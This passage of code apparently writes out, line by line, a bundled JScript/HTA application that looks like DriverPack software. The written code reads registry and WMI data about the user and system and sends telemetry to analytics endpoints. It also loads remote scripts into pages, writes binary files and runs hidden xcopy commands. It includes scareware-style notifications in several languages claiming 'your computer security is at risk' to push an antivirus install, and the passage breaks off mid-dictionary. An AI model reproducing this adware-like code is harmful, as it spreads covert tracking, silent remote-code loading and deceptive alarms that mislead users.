file.WriteLine(" }, \"goToUrl:open\");");
file.WriteLine(" try {");
file.WriteLine(" var regPath
= \"HKCU\\\\SOFTWARE\\\\Clients\\\\StartMenuInternet\\\\\";");
file.WriteLine(" if (_os.OSVersion >= 10) regPath
= \"HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\Shell\\\\Associations\\\\UrlAssocia
tions\\\\http\\\\UserChoice\\\\Progid\";");
file.WriteLine(" var defBrowser = (0, _registry.RegRead)(regPath);");
file.WriteLine(" if (!defBrowser) defBrowser = (0, _registry.RegRead)
(regPath.replace(\"HKCU\", \"HKLM\"));");
file.WriteLine(" var runComm = (0, _registry.RegRead)
(\"HKLM\\\\SOFTWARE\\\\Clients\\\\StartMenuInternet\\\\\" + defBrowser
+ \"\\\\shell\\\\open\\\\command\\\\\");");
file.WriteLine(" runOpenUrlCommand(url, runComm);");
file.WriteLine(" } catch (err) {");
file.WriteLine(" log.error(\"failed to open \" + url, {");
file.WriteLine(" url: url,");
file.WriteLine(" err: err");
file.WriteLine(" }, \"goToUrl:error\");");
file.WriteLine(" runOpenUrlCommand(url);");
file.WriteLine(" }");
file.WriteLine(" return !1;");
file.WriteLine(" }, exports.getInternetExplorerVersion = function() {");
file.WriteLine(" var rv = void 0, ua = void 0, re = void 0;");
file.WriteLine(" try {");
file.WriteLine(" rv = parseInt((0, _registry.RegRead)
(\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Internet Explorer\\\\svcVersion\").split(\".\")
[0], 10);");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" if (\"number\" != typeof rv) try {");
file.WriteLine(" rv = parseInt((0, _registry.RegRead)
(\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Internet Explorer\\\\Version\").split(\".\")
[0], 10);");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" if (\"number\" != typeof rv) if (\"Microsoft Internet
Explorer\" === navigator.appName) {");
file.WriteLine(" ua = navigator.userAgent;");
file.WriteLine(" re = new RegExp(\"MSIE ([0-9]{1,}[.0-9]{0,})\");");
file.WriteLine(" if (null != re.exec(ua)) rv = parseFloat(RegExp.$1);");
file.WriteLine(" } else if (\"Netscape\" === navigator.appName) {");
file.WriteLine(" ua = navigator.userAgent;");
file.WriteLine(" re = new RegExp(\"Trident/.*rv:([0-9]{1,}[.0-9]
{0,})\");");
file.WriteLine(" if (null != re.exec(ua)) rv = parseFloat(RegExp.$1);");
file.WriteLine(" }");
file.WriteLine(" if (\"number\" != typeof rv) rv = -1;");
file.WriteLine(" return rv;");
file.WriteLine(" };");
file.WriteLine("}, , , , function(module, exports) {");
file.WriteLine(" var g;");
file.WriteLine(" g = function() {");
file.WriteLine(" return this;");
file.WriteLine(" }();");
file.WriteLine(" try {");
file.WriteLine(" g = g || Function(\"return this\")() || (0, eval)
(\"this\");");
file.WriteLine(" } catch (e) {");
file.WriteLine(" if (\"object\" == typeof window) g = window;");
file.WriteLine(" }");
file.WriteLine(" module.exports = g;");
file.WriteLine("}, , , , , , , function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.WgetPath = exports.AppNotifier =
exports.AppNotifierFolder = exports.AppPath = exports.AppPathRoot =
exports.ProgramFiles = exports.UserHK = exports.UserAppData = exports.UserName =
undefined;");
file.WriteLine(" var _config = __webpack_require__(6), _fso =
__webpack_require__(7), _shell = __webpack_require__(13), _specialFolders =
__webpack_require__(15), _flags = __webpack_require__(42), _wmi =
__webpack_require__(2), ProgramFilesString = -1 !==
document.location.toString().indexOf(\"(x86)\") ? \"%PROGRAMFILES(x86)%\" : \"%PROG
RAMFILES%\", UserName = exports.UserName = function() {");
file.WriteLine(" var colItems = _wmi.objWMIService.ExecQuery(\"SELECT * FROM
Win32_ComputerSystem\"), _item = new Enumerator(colItems).item(), UserName =
_item.UserName, splitted = UserName.split(\"\\\\\");");
file.WriteLine(" return splitted[splitted.length - 1];");
file.WriteLine(" }(), UserAppData = exports.UserAppData = _flags.isOldOS ?
_specialFolders.AppData.replace(\"NetworkService\", UserName) :
_specialFolders.AppData, ProgramFiles = (exports.UserHK =
_flags.isOldOS ? \"HKEY_USERS\\\\\" + function() {");
file.WriteLine(" var query = 'SELECT * FROM Win32_UserAccount WHERE Name=\"'
+ UserName + '\"', colItems = _wmi.objWMIService.ExecQuery(query);");
file.WriteLine(" return new Enumerator(colItems).item().SID;");
file.WriteLine(" }() : \"HKCU\", exports.ProgramFiles =
_shell.WshShell.ExpandEnvironmentStrings(ProgramFilesString)), AppPath =
(exports.AppPathRoot = ProgramFiles + \"\\\\\" + _config.application.AppFolder, ");
file.WriteLine(" exports.AppPath = UserAppData + \"\\\\\" +
_config.application.AppFolder);");
file.WriteLine(" exports.AppNotifierFolder = AppPath
+ \"\\\\bin\\\\Tools\\\\notifier\", exports.AppNotifier = AppPath
+ \"\\\\bin\\\\Tools\\\\notifier\\\\notifier.hta\", ");
file.WriteLine(" exports.WgetPath = _fso.fso.FileExists(AppPath
+ \"\\\\bin\\\\Tools\\\\driverpack-wget.exe\") ? AppPath
+ \"\\\\bin\\\\Tools\\\\driverpack-wget.exe\" : AppPath
+ \"\\\\bin\\\\Tools\\\\wget.exe\";");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _http = __webpack_require__(34), _retry =
__webpack_require__(128), _retry2 = function(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }(_retry), index = 0, DeloreanTransport = function() {");
file.WriteLine(" function DeloreanTransport(endpoint, statistics) {");
file.WriteLine(" var tries = arguments.length > 2 && arguments[2] !==
undefined ? arguments[2] : Infinity, timeout = arguments[3];");
file.WriteLine(" _classCallCheck(this, DeloreanTransport);");
file.WriteLine(" Object.assign(this, {");
file.WriteLine(" endpoint: endpoint,");
file.WriteLine(" statistics: statistics,");
file.WriteLine(" tries: tries,");
file.WriteLine(" timeout: timeout");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" DeloreanTransport.prototype.postOnce = function(data, opts)
{");
file.WriteLine(" return this.endpoint ? (0, _http.httppost)
(this.endpoint, data, opts) : Promise.resolve();");
file.WriteLine(" };");
file.WriteLine(" DeloreanTransport.prototype.postWithRetry = function() {");
file.WriteLine(" for (var _this = this, _len = arguments.length, args =
Array(_len), _key = 0; _key < _len; _key++) args[_key] = arguments[_key];");
file.WriteLine(" return (0, _retry2[\"default\"])(function() {");
file.WriteLine(" return _this.postOnce.apply(_this, args);");
file.WriteLine(" }, this.tries, this.timeout);");
file.WriteLine(" };");
file.WriteLine(" DeloreanTransport.prototype.send = function(data) {");
file.WriteLine(" return this.postWithRetry(data, {");
file.WriteLine(" statistics: this.statistics ||
__webpack_require__(20),");
file.WriteLine(" headers: {");
file.WriteLine(" \"x-drp-index\": index++,");
file.WriteLine(" \"x-drp-client-time\": new
Date().toISOString()");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" return DeloreanTransport;");
file.WriteLine(" }();");
file.WriteLine(" exports[\"default\"] = DeloreanTransport;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, , , , , , , , function(module, exports, __webpack_require__)
{");
file.WriteLine(" function toObject(value) {");
file.WriteLine(" return isObject(value) ? value : Object(value);");
file.WriteLine(" }");
file.WriteLine(" var isObject = __webpack_require__(41);");
file.WriteLine(" module.exports = toObject;");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" var getNative = __webpack_require__(125), isLength =
__webpack_require__(76), isObjectLike = __webpack_require__(77), objectProto =
Object.prototype, objToString = objectProto.toString, nativeIsArray =
getNative(Array, \"isArray\"), isArray = nativeIsArray || function(value) {");
file.WriteLine(" return isObjectLike(value) && isLength(value.length)
&& \"[object Array]\" == objToString.call(value);");
file.WriteLine(" };");
file.WriteLine(" module.exports = isArray;");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _fso = __webpack_require__(7), _specialFolders =
__webpack_require__(15), _localFiles = __webpack_require__(21), toFixed =
function(num) {");
file.WriteLine(" return (\"0\" + num).slice(-2);");
file.WriteLine(" }, FileWriter = function() {");
file.WriteLine(" function FileWriter() {");
file.WriteLine(" _classCallCheck(this, FileWriter);");
file.WriteLine(" this.logFolder = _specialFolders.AppFolder
+ \"\\\\Logs\\\\\";");
file.WriteLine(" }");
file.WriteLine(" FileWriter.prototype.getFilename = function() {");
file.WriteLine(" var timestamp = new Date();");
file.WriteLine(" return \"log___\" + [ timestamp.getFullYear(),
toFixed(timestamp.getMonth() + 1), toFixed(timestamp.getDate()),
toFixed(timestamp.getHours()), toFixed(timestamp.getMinutes()),
toFixed(timestamp.getSeconds()) ].join(\"-\");");
file.WriteLine(" };");
file.WriteLine(" FileWriter.prototype.init = function() {");
file.WriteLine(" try {");
file.WriteLine(" (0, _localFiles.ensurePath)(this.logFolder);");
file.WriteLine(" var filename = \"\" + this.logFolder +
this.getFilename() + \".html\";");
file.WriteLine(" this.file = _fso.fso.CreateTextFile(filename, !
0);");
file.WriteLine(" this.file.WriteLine(\"<html>\\n<head>\\n <meta
charset='windows-1251'/>\\n <script type='text/javascript'
src='http://static.drp.su/update/logs/script.js'><\\/script>\\n <link
rel='stylesheet' type='text/css'
href='http://static.drp.su/update/logs/style.css'/>\\n</head>\\n<body>\\n<script
type=\\\"text/javascript\\\">window.data = [];<\\/script>\\n\");");
file.WriteLine(" } catch (e) {");
file.WriteLine(" this.file = null;");
file.WriteLine(" this.disabled = !0;");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" FileWriter.prototype.close = function() {");
file.WriteLine(" if (this.file) {");
file.WriteLine("
this.file.WriteLine(\"\\n</body>\\n</html>\\n\");");
file.WriteLine(" this.file.Close();");
file.WriteLine(" this.file = null;");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" FileWriter.prototype.write = function(message) {");
file.WriteLine(" var className = arguments.length > 1 && arguments[1] !
== undefined ? arguments[1] : \"info\", params = arguments[2], data = arguments[3],
type = arguments[4];");
file.WriteLine(" if (!this.file) this.init();");
file.WriteLine(" if (this.file && !this.disabled) {");
file.WriteLine(" var timestamp = new Date(), time =
[ toFixed(timestamp.getHours()), toFixed(timestamp.getMinutes()),
toFixed(timestamp.getSeconds()) ].join(\":\"), json = JSON.stringify({");
file.WriteLine(" type: type,");
file.WriteLine(" data: data,");
file.WriteLine(" timestamp: timestamp.valueOf()");
file.WriteLine(" }), details = \"\";");
file.WriteLine(" if (params && Object.keys(params).length > 0) {");
file.WriteLine(" var obj = {};");
file.WriteLine(" for (var key in params) {");
file.WriteLine(" var part = params[key];");
file.WriteLine(" obj[key] = part instanceof Error ? {");
file.WriteLine(" name: part.name || \"Error\",");
file.WriteLine(" message: part.message");
file.WriteLine(" } : part;");
file.WriteLine(" }");
file.WriteLine(" details = '<pre class=\"code\">' +
JSON.stringify(obj, null, \"\\t\") + \"</pre>\";");
file.WriteLine(" }");
file.WriteLine(" var ts = '<span class=\"timeStamp\">' + time
+ \"</span>\";");
file.WriteLine(" try {");
file.WriteLine(" this.file.Write(('\\n <div class=\"logs
' + className + '\">' + ts + message + details + '</div>\\n <script
type=\"text/javascript\">window.data.push(' + json + ');<\\/script>\\n
<script type=\"application/json\" class=\"data\">' + json
+ \"<\\/script>\\n \").replace(/[^\\x00-\\x7F]/g, \"\u001a\"));");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" return FileWriter;");
file.WriteLine(" }();");
file.WriteLine(" exports[\"default\"] = new FileWriter();");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _http = __webpack_require__(34), _sendImg =
__webpack_require__(69), _os = __webpack_require__(14), GoogleAnalytics =
function() {");
file.WriteLine(" function GoogleAnalytics(parent) {");
file.WriteLine(" _classCallCheck(this, GoogleAnalytics);");
file.WriteLine(" this.session = {};");
file.WriteLine(" this.parent = parent;");
file.WriteLine(" this.logger = parent.logger.scope(\"ga\");");
file.WriteLine(" this.options = this.parent.options;");
file.WriteLine(" }");
file.WriteLine(" GoogleAnalytics.sendUrl = function(url) {");
file.WriteLine(" return (0, _sendImg.sendImg)(url)[\"catch\"](function()
{");
file.WriteLine(" return (0, _http.httpget)(url);");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" GoogleAnalytics.prototype.init = function(_ref) {");
file.WriteLine(" var shared = _ref.shared, primary = _ref.primary,
session = _ref.session;");
file.WriteLine(" this.counters = {");
file.WriteLine(" shared: shared,");
file.WriteLine(" primary: primary");
file.WriteLine(" };");
file.WriteLine(" this.session[primary] = session;");
file.WriteLine(" this.session[shared] = \"prolonged\";");
file.WriteLine(" };");
file.WriteLine(" GoogleAnalytics.prototype.getCID = function() {");
file.WriteLine(" if (\"computerId\" === this.options.identifier) return
this.parent.computerId; else return this.parent.clientId;");
file.WriteLine(" };");
file.WriteLine(" GoogleAnalytics.prototype.send = function(event) {");
file.WriteLine(" var dimensions = arguments.length > 1 && arguments[1] !
== undefined ? arguments[1] : [], important = arguments.length > 2 &&
arguments[2] !== undefined ? arguments[2] : !1, _counters = this.counters, shared =
_counters.shared, primary = _counters.primary;");
file.WriteLine(" return Promise.all([ important ? this._sendHit(shared,
this.parent.clientId, event, dimensions) : !1, this._sendHit(primary,
this.getCID(), event, dimensions) ]);");
file.WriteLine(" };");
file.WriteLine(" GoogleAnalytics.prototype._sendHit = function(counter, cid,
event, dimensions) {");
file.WriteLine(" if (counter) {");
file.WriteLine(" dimensions = (dimensions ||
[]).concat([ [ this.parent.config.userIdDimension, cid ],
[ this.parent.config.drpVersionDimension, this.parent.drpVersion.trim() ],
[ this.parent.config.osDimension, _os.OSName + \" x\" + _os.arch ],
[ this.parent.config.spDimension, \"SP \" + _os.OSVersionSP ],
[ this.parent.config.captionDimension, _os.OSCaption ],
[ this.parent.config.experimentDimension, this.parent.experiment ] ]);");
file.WriteLine(" var url = this._compileUrl(counter, cid, event,
dimensions);");
file.WriteLine(" this.logger.debug(\"Send event \" + counter + \"
GA: \" + event.action, {");
file.WriteLine(" event: event,");
file.WriteLine(" dimensions: dimensions,");
file.WriteLine(" url: url");
file.WriteLine(" }, \"send\");");
file.WriteLine(" return GoogleAnalytics.sendUrl(url);");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" GoogleAnalytics.prototype._compileUrl = function(tid, cid,
event, dimensions) {");
file.WriteLine(" var params = {");
file.WriteLine(" v: 1,");
file.WriteLine(" tid: tid,");
file.WriteLine(" cid: cid,");
file.WriteLine(" t: \"event\",");
file.WriteLine(" ec: event.category.toLowerCase(),");
file.WriteLine(" ea: event.action.toLowerCase(),");
file.WriteLine(" el: event.label.toLowerCase(),");
file.WriteLine(" ul: this.parent.lang,");
file.WriteLine(" z: Math.random().toString().slice(2)");
file.WriteLine(" };");
file.WriteLine(" if (!this.session[tid]) {");
file.WriteLine(" this.session[tid] = \"started\";");
file.WriteLine(" params.sc = \"start\";");
file.WriteLine(" }");
file.WriteLine(" var parts =
Object.entries(params).concat(dimensions);");
file.WriteLine(" return GoogleAnalytics.endpoint + \"?\" +
parts.map(function(pair) {");
file.WriteLine(" return pair.map(encodeURIComponent).join(\"=\");");
file.WriteLine(" }).join(\"&\");");
file.WriteLine(" };");
file.WriteLine(" return GoogleAnalytics;");
file.WriteLine(" }();");
file.WriteLine(" GoogleAnalytics.endpoint = \"http://www.google-
analytics.com/collect\";");
file.WriteLine(" exports[\"default\"] = GoogleAnalytics;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireDefault(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _objectWithoutProperties(obj, keys) {");
file.WriteLine(" var target = {};");
file.WriteLine(" for (var i in obj) if (!(keys.indexOf(i) >= 0)) if
(Object.prototype.hasOwnProperty.call(obj, i)) target[i] = obj[i];");
file.WriteLine(" return target;");
file.WriteLine(" }");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _extends = Object.assign || function(target) {");
file.WriteLine(" for (var i = 1; i < arguments.length; i++) {");
file.WriteLine(" var source = arguments[i];");
file.WriteLine(" for (var key in source) if
(Object.prototype.hasOwnProperty.call(source, key)) target[key] = source[key];");
file.WriteLine(" }");
file.WriteLine(" return target;");
file.WriteLine(" }, _clientIdStorage = __webpack_require__(113),
_clientIdStorage2 = _interopRequireDefault(_clientIdStorage), _GoogleAnalytics =
__webpack_require__(67), _GoogleAnalytics2 =
_interopRequireDefault(_GoogleAnalytics), _YaMetrika = __webpack_require__(136),
_YaMetrika2 = _interopRequireDefault(_YaMetrika), _EventsAPI =
__webpack_require__(131), _EventsAPI2 = _interopRequireDefault(_EventsAPI), _logs =
__webpack_require__(17), _logs2 = _interopRequireDefault(_logs), OnlineStatistics =
function() {");
file.WriteLine(" function OnlineStatistics(options) {");
file.WriteLine(" var drpVersion = arguments.length > 1 && arguments[1] !
== undefined ? arguments[1] : \"\", lang = arguments.length > 2 && arguments[2] !==
undefined ? arguments[2] : \"\";");
file.WriteLine(" _classCallCheck(this, OnlineStatistics);");
file.WriteLine(" this.clientId = \"\";");
file.WriteLine(" this.computerId = \"\";");
file.WriteLine(" this.experiment = \"(not set)\";");
file.WriteLine(" this.config = {");
file.WriteLine(" userIdDimension: \"cd1\",");
file.WriteLine(" drpVersionDimension: \"cd2\",");
file.WriteLine(" osDimension: \"cd3\",");
file.WriteLine(" spDimension: \"cd4\",");
file.WriteLine(" captionDimension: \"cd5\",");
file.WriteLine(" experimentDimension: \"cd6\",");
file.WriteLine(" driversInstallFailed: \"cd7\",");
file.WriteLine(" installationTime: \"cd8\",");
file.WriteLine(" errorDevicesApiFailed: \"cd9\",");
file.WriteLine(" nps: \"cd10\",");
file.WriteLine(" driversInstallFailedMetric: \"cm1\",");
file.WriteLine(" installationTimeMetric: \"cm2\",");
file.WriteLine(" errorDevicesApiFailedMetric: \"cm3\"");
file.WriteLine(" };");
file.WriteLine(" this.options = {");
file.WriteLine(" google: {},");
file.WriteLine(" yandex: {},");
file.WriteLine(" events: {}");
file.WriteLine(" };");
file.WriteLine(" this.logger = (0, _logs.getLogger)
(\"core:statistics\");");
file.WriteLine(" this.counters = {");
file.WriteLine(" google: new _GoogleAnalytics2[\"default\"]
(this),");
file.WriteLine(" yandex: new _YaMetrika2[\"default\"](this),");
file.WriteLine(" events: new _EventsAPI2[\"default\"](this)");
file.WriteLine(" };");
file.WriteLine(" Object.assign(this, {");
file.WriteLine(" lang: lang,");
file.WriteLine(" drpVersion: drpVersion.trim()");
file.WriteLine(" });");
file.WriteLine(" Object.assign(this.options, options);");
file.WriteLine(" }");
file.WriteLine(" OnlineStatistics.prototype.generateSessionId = function()
{");
file.WriteLine(" var d = new Date().getTime();");
file.WriteLine(" return \"xxxxxxxx-xxxx-4xxx-yxxx-
xxxxxxxxxxxx\".replace(/[xy]/g, function(c) {");
file.WriteLine(" var r = (d + 16 * Math.random()) % 16 | 0;");
file.WriteLine(" d = Math.floor(d / 16);");
file.WriteLine(" return (\"x\" === c ? r : 3 & r |
8).toString(16);");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" OnlineStatistics.prototype.init = function() {");
file.WriteLine(" var _ref = arguments.length > 0 && arguments[0] !==
undefined ? arguments[0] : {}, clientId = _ref.clientId, computerId =
_ref.computerId;");
file.WriteLine(" if (_ref.offline) this.offline = !0;");
file.WriteLine(" this.clientId =
_clientIdStorage2[\"default\"].init(\"clientId\", clientId);");
file.WriteLine(" this.computerId =
_clientIdStorage2[\"default\"].init(\"computerId\", computerId,
[ \"HKLM\", \"HKCU\" ]);");
file.WriteLine(" this.sessionId = this.generateSessionId();");
file.WriteLine(" var experiments = this.options.experiments || [];");
file.WriteLine(" if (experiments.length > 0) {");
file.WriteLine(" var seed = this.computerId.replace(/
[^\\d]/g, \"\").slice(-15), ind = parseInt(seed, 10) % experiments.length;");
file.WriteLine(" this.experiment = this.options.experiments[ind ||
0];");
file.WriteLine(" }");
file.WriteLine(" for (var name in this.counters)
this.counters[name].init(this.options[name]);");
file.WriteLine(" this._initialized = Promise.resolve(!0);");
file.WriteLine(" };");
file.WriteLine(" OnlineStatistics.prototype.event = function(_event,
dimensions, important) {");
file.WriteLine(" if (!_event.action) return Promise.reject(new
Error(\"event.action is undefined\"));");
file.WriteLine(" if (!this._initialized) this.init();");
file.WriteLine(" _event = Object.assign({");
file.WriteLine(" category: this.options.category,");
file.WriteLine(" action: \"\",");
file.WriteLine(" label: this.drpVersion");
file.WriteLine(" }, _event);");
file.WriteLine(" if (this.offline) _event.label += \" [offline]\";");
file.WriteLine(" var promise = this.send(_event, dimensions,
important);");
file.WriteLine(" if (\"function\" == typeof _event.callback)
promise.then(function() {");
file.WriteLine(" _event.callback();");
file.WriteLine(" }, function(err) {");
file.WriteLine(" _event.callback(err);");
file.WriteLine(" });");
file.WriteLine(" return promise;");
file.WriteLine(" };");
file.WriteLine(" OnlineStatistics.prototype.send = function(_ref2,
dimensions, important) {");
file.WriteLine(" var _this = this, counters = _ref2.counters, data =
_objectWithoutProperties(_ref2, [ \"counters\" ]);");
file.WriteLine(" _logs2[\"default\"]._write({");
file.WriteLine(" type: \"event\",");
file.WriteLine(" data: data");
file.WriteLine(" });");
file.WriteLine(" return
Promise.all(Object.keys(this.counters).map(function(name) {");
file.WriteLine(" var event = counters ? counters[name] &&
_extends({}, data, counters[name]) : data;");
file.WriteLine(" return event && _this.counters[name].send(event,
dimensions, important);");
file.WriteLine(" }));");
file.WriteLine(" };");
file.WriteLine(" return OnlineStatistics;");
file.WriteLine(" }();");
file.WriteLine(" exports[\"default\"] = OnlineStatistics;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.sendImg = function(url) {");
file.WriteLine(" return new Promise(function(resolve, reject) {");
file.WriteLine(" var img = document.createElement(\"img\");");
file.WriteLine(" img.className = \"ga-image\";");
file.WriteLine(" img.onload = resolve;");
file.WriteLine(" img.onerror = reject;");
file.WriteLine(" img.src = url;");
file.WriteLine(" document.body.appendChild(img);");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.wmiRegRead = exports.wmiRegistry64 =
exports.wmiRegistry = undefined;");
file.WriteLine(" var _WMIRegistry = __webpack_require__(111), _WMIRegistry2 =
function(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }(_WMIRegistry), wmiRegistry = exports.wmiRegistry = new
_WMIRegistry2[\"default\"](), wmiRegistry64 = exports.wmiRegistry64 = new
_WMIRegistry2[\"default\"](!0);");
file.WriteLine(" exports.wmiRegRead = function(regPath) {");
file.WriteLine(" var _regPath$split = regPath.split(\"\\\\\"), sect =
_regPath$split[0], path = _regPath$split.slice(1), key = path.splice(-1);");
file.WriteLine(" path = path.join(\"\\\\\");");
file.WriteLine(" var wmiReg = wmiRegistry;");
file.WriteLine(" if (sect.endsWith(\"64\")) {");
file.WriteLine(" sect = sect.slice(0, -2);");
file.WriteLine(" wmiReg = wmiRegistry64;");
file.WriteLine(" }");
file.WriteLine(" return wmiReg.GetStringValue(wmiReg[sect], path, key);");
file.WriteLine(" };");
file.WriteLine("}, , , , , , function(module, exports) {");
file.WriteLine(" function isLength(value) {");
file.WriteLine(" return \"number\" == typeof value && value > -1 && value %
1 == 0 && value <= MAX_SAFE_INTEGER;");
file.WriteLine(" }");
file.WriteLine(" var MAX_SAFE_INTEGER = 9007199254740991;");
file.WriteLine(" module.exports = isLength;");
file.WriteLine("}, function(module, exports) {");
file.WriteLine(" function isObjectLike(value) {");
file.WriteLine(" return !!value && \"object\" == typeof value;");
file.WriteLine(" }");
file.WriteLine(" module.exports = isObjectLike;");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.copyFiles = exports.writeFile = undefined;");
file.WriteLine(" var _system = __webpack_require__(1);");
file.WriteLine(" exports.writeFile = function(bytes, target) {");
file.WriteLine(" try {");
file.WriteLine(" var fso = new
ActiveXObject(\"Scripting.FileSystemObject\");");
file.WriteLine(" if (fso.FileExists(target)) fso.DeleteFile(target);");
file.WriteLine(" var stream = new ActiveXObject(\"ADODB.Stream\");");
file.WriteLine(" stream.Type = 1;");
file.WriteLine(" stream.Open();");
file.WriteLine(" stream.Write(bytes);");
file.WriteLine(" stream.SaveToFile(target, 2);");
file.WriteLine(" } catch (err) {}");
file.WriteLine(" }, exports.copyFiles = function(source, dest, wait) {");
file.WriteLine(" _system.WshShell.Run('xcopy \"' + source + '\" \"' + dest +
'\\\\\" /S /E /Y /I', 0, wait);");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.addScript = function(url) {");
file.WriteLine(" var updateScriptId = \"updateScript_\" + +new Date(),
scriptLoading = document.createElement(\"script\");");
file.WriteLine(" scriptLoading.id = updateScriptId;");
file.WriteLine(" scriptLoading.type = \"text/javascript\";");
file.WriteLine(" scriptLoading.async = !1;");
file.WriteLine(" scriptLoading.charset = \"utf-8\";");
file.WriteLine(" scriptLoading.src = url + \"?t=\" + +new Date();");
file.WriteLine(" document.body.appendChild(scriptLoading);");
file.WriteLine(" setTimeout(function() {");
file.WriteLine(" try {");
file.WriteLine("
document.body.removeChild(document.getElementById(updateScriptId));");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" }, window.abortRemoteScriptInterval);");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(_ref) {");
file.WriteLine(" var lang = _ref.lang;");
file.WriteLine(" return Object.assign({");
file.WriteLine(" template: \"standard\",");
file.WriteLine(" maxCountOfDisplaying: 3,");
file.WriteLine(" timeoutDelay: 18e5,");
file.WriteLine(" title: \"Your computer security is at risk.\",");
file.WriteLine(" content: \"You don't have any antivirus software
installed.\\n Protect your system with Avast — the best free antivirus\",");
file.WriteLine(" actionButtonText: \"Install for free now\",");
file.WriteLine(" unsubscribeButtonText: \"No, Thanks\",");
file.WriteLine(" notificationIcon: \"robot.png\",");
file.WriteLine(" statisticsLabel: \"antivirus notification avast\",");
file.WriteLine(" color: \"#6534ac\"");
file.WriteLine(" }, dictionary[lang]);");
file.WriteLine(" };");
file.WriteLine(" var dictionary = {");
file.WriteLine(" ru: {");
file.WriteLine(" title: \"Безопасность компьютера под угрозой.\",");
file.WriteLine(" content: \"Не установлен антивирус.\\n Установите
надежный бесплатный антивирус Avast\",");
file.WriteLine(" actionButtonText: \"Установить бесплатно\",");
file.WriteLine(" unsubscribeButtonText: \"Нет, спасибо\"");
file.WriteLine(" },");
file.WriteLine(" pt: {");
file.WriteLine(" title: \"O seu computador está em risco.\",");
file.WriteLine(" content: \"Antivírus não está instalado.\\n Proteja
o seu computadores com Avast — o melhor antivírus grátis\",");
file.WriteLine(" actionButtonText: \"Instalar de graça\",");
file.WriteLine(" unsubscribeButtonText: \"Não, obrigado\"");
file.WriteLine(" },");
file.WriteLine(" es: {");
file.WriteLine(" title: \"La seguridad del equipo está en peligro\",");
file.WriteLine(" content: \"No tienes ningún software antivirus
instalado.\\n Proteja su computadora con Avast — el mejor antivirus
gratuito\",");
file.WriteLine(" actionButtonText: \"Instalar gratis\",");
file.WriteLine(" unsubscribeButtonText: \"No, gracias\"");
file.WriteLine(" },");
file.WriteLine(" de: {");
file.WriteLine(" title: \"Die Sicherheit des Computers ist
bedroht.\",");
file.WriteLine(" content: \"Sie haben keine Antivirus-Software
installiert.\\n Schützen Sie Ihre Geräte mit Avast — das beste kostenlose
Antivirus\",");
file.WriteLine(" actionButtonText: \"Kostenlos installieren\",");
file.WriteLine(" unsubscribeButtonText: \"Nein Danke\"");
file.WriteLine(" },");
file.WriteLine(" it: {");
file.WriteLine(" title: \"La protezione del computer è a rischio.\",");
